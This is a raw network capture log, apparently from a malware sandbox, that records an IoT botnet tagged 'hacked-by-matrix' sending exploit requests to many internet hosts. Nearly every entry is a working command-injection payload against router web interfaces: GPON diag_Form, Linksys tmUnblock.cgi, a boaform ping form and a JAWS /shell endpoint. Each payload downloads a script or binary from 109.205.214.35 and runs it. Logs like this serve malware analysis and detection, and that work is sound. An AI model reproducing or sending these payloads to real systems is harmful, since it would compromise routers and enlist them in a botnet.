Mar 21, 2024 05:17:03.022986889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	42068	2.175.26.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.023030996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	60578	212.110.211.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.023037910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	57460	79.36.108.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.023083925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	44212	118.50.176.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.023139954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	35504	178.65.86.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:06.035223961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	34986	172.64.140.171	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:06.054233074 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	42372	62.48.205.12	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:06.370656013 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	58486	62.29.38.15	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:06.399475098 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	54294	62.29.81.125	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:06.399794102 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	19039	206.194.117.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:07.131072044 CET	42	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 32 39 33 37 64 63 38 3a 32 34 32 37 5d 20 4e 6f 20 6c 6f 63 61 6c 20 6c 69 73 74 65 6e 65 72 Data Ascii: BIG-IP: [0x2937dc8:2427] No local listener

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	39410	147.135.10.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:08.135909081 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:08.230144978 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	36278	118.252.126.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.049623013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	51834	79.150.105.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.049680948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	42192	94.101.102.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.049710035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	36660	109.175.148.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.049745083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	59954	212.243.206.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.049773932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	47832	172.65.140.211	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.287085056 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	59590	172.67.134.98	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.287123919 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	50840	172.67.32.193	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.374769926 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	48814	172.67.109.243	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.375917912 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	35952	54.36.229.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:10.398988008 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:10.631989002 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:09 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:17:10.632038116 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:17:10.632091999 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:17:10.632147074 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:17:10.632210016 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:17:10.632266045 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:17:10.632282972 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:17:10.632481098 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to third.ovhserver.com's <a href="mailto:server@serve
